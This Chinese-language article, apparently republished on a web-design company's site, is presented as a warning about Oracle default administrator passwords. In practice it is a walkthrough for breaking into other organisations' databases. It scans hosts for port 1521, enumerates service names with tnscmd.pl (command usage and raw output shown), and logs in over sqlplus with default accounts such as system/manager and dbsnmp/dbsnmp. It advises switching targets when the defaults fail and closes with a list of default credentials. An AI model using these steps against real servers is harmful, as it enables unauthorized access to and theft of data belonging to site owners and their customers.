Oracle默认管理员带来的数据库安全隐患

Oracle默认管理员密码是固定的,这是为了安装和调试的方便。Oracle数据库中的两个具有DBA权限的用户Sys和System。笔者发现很多国内网站的Oracle数据库没有更改这两个用户的密码,其中也包括很多大型的电子商务网站,我们就可以利用这个缺省密码去找我们感兴趣的东西。

进行测试前我们先来了解一些相关的知识,我们连接一个Oracle数据库的时候,需要知道它的service_name或者是Sid值,就象mssql一样,需要知道数据库名。那如何去知道呢,猜?呵呵,显然是不行的。这里我们先讲讲oracle的TNSlistener,它位于数据库Client和数据库Server之间,默认监听1521端口,这个监听端口是可以更改的。但是如果你用一个tcp的session去连接1521端口的话,oracle将不会返回它的banner,如果你输入一些东西的话,它甚至有可能把你踢出去。这里我们就需要用tnscmd.pl这个perl程序了,它可以查询远程 oracle数据库是否开启(也就是ping了),查询版本,以及查询它的服务名,服务状态和数据库服务名,而且正确率很高。

理论方面的讲完了,如果还有什么不懂的可以去查找相关资料。现在开始测试吧,需要的工具有:ActivePerl,Oracle客户端,Superscan或者是其它扫描端口的软件,Tnscmd.pl.我们先用Superscan扫描开放了端口1521的主机,假设其IP是xx.xx.110.110,这样目标已经有了。然后我们要做的就是用Tnscmd.pl来查询远程数据库的服务名了,Tnscmd.pl的用法如下:

 
 
 
  1. C:\perl\bin@@@@dayu@@@@perl tnscmd.pl   
  2. usage: tnscmd.pl [command] -h hostname   
  3. where "command" is something like ping, version, status,etc.   
  4. (default is ping)   
  5. [-p port] - alternate TCP port to use (default is 1521)   
  6. [--logfile logfile] - write raw packets to specifiedlogfile   
  7. [--indent] - indent & outdent on parens   
  8. [--rawcmd command] - build your own CONNECT_DATA string   
  9. [--cmdsize bytes] - fake TNS command size (revealspacketleakage)   
  10.  

我们下面用的只有简单的几个命令,其他的命令也很好用,一起去发掘吧。

然后我们就这样来:

 
 
 
  1. C:\perl\bin@@@@dayu@@@@perl tnscmd.pl services -hxx.xx.110.110-p 1521 –indent   
  2. sending (CONNECT_DATA=(COMMAND=services))toxx.xx.110.110:1521   
  3. writing 91 bytes   
  4. reading   
  5. ._.......6.........?. ..........   
  6. DETION=   
  7. TMP=   
  8. VSNNUM=135286784   
  9. ERR=0   
  10. SERVICES_EXIST=1   
  11. .Q........   
  12. SERVICE=   
  13. SERVICE_NAME=ORCL   
  14. INSTANCE=   
  15. INSTANCE_NAME=ORCL   
  16. NUM=1   
  17. INSTANCE_CLASS=ORACLE   
  18. HANDLER=   
  19. HANDLER_DISPLAY=DEDICATED SERVER   
  20. STA=ready   
  21. HANDLER_INFO=LOCAL SERVER   
  22. HANDLER_MAXLOAD=0   
  23. HANDLER_LOAD=0   
  24. ESTABLISHED=447278   
  25. REFUSED=0   
  26. HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227   
  27. HANDLER_NAME=DEDICATED   
  28. ADDRESS=   
  29. PROTOCOL=beq   
  30. PROGRAM=/home/oracle/bin/oracle   
  31. ENVS="ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL"   
  32. ARGV0=oracleORCL   
  33. ARGS="   
  34. LOCAL=NO   
  35. "   
  36. .........@   
  37.  

从上面得到的信息我们可以看出数据库的服务名为ORCL,然后我们就可以通过sqlplus工具来远程连上它了,用户名和密码我们用默认的 system/manager或者是sys/manager(Oracle默认管理员),其他的如mdsys/mdsys,ctxsys/ctxsys等,这个默认用户和密码是随版本的不同而改变的。如下:

 
 
 
  1. C:\oracle\ora90\BIN@@@@dayu@@@@sqlplus /nolog   
  2. SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 2311:36:592002   
  3. (c) Copycenter 2001 Oracle Corporation. All centersreserved.   
  4. SQL@@@@dayu@@@@connect system/manager@   
  5. (detion=(address_list=(address=(protocol=tcp)   
  6. (host=xx.xx.110.110)(port=1521)))   
  7. (connect_data=(SERVICE_NAME=ORCL)));   
  8.  

如果密码正确,那么就会提示connected,如果不行,再换别的默认用户名和密码。经过笔者的尝试一般用dbsnmp/dbsnmp都能进去。当然如果对方已经把默认密码改了,那我们只能换别的目标了。但是我发现很多都是不改的,这个就是安全意识的问题了。

附录 Oracle默认管理员密码

1.
用户名:sys
密码:change_on_install

2.
用户名:system
密码:manager

3.
用户名:scott
密码:tiger

【编辑推荐】

  1. 详解Oracle如何解锁用户的方法
  2. 五分钟精通Oracle表空间
  3. 五种Oracle用户的授权与管理
  4. Oracle管理员手册:数据库管理工具
  5. Oracle用户名更改操作四步走

分享标题:Oracle默认管理员带来的数据库安全隐患
网页URL:http://www.shufengxianlan.com/qtweb/news10/452860.html

网站建设、网络推广公司-创新互联,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等

广告

声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联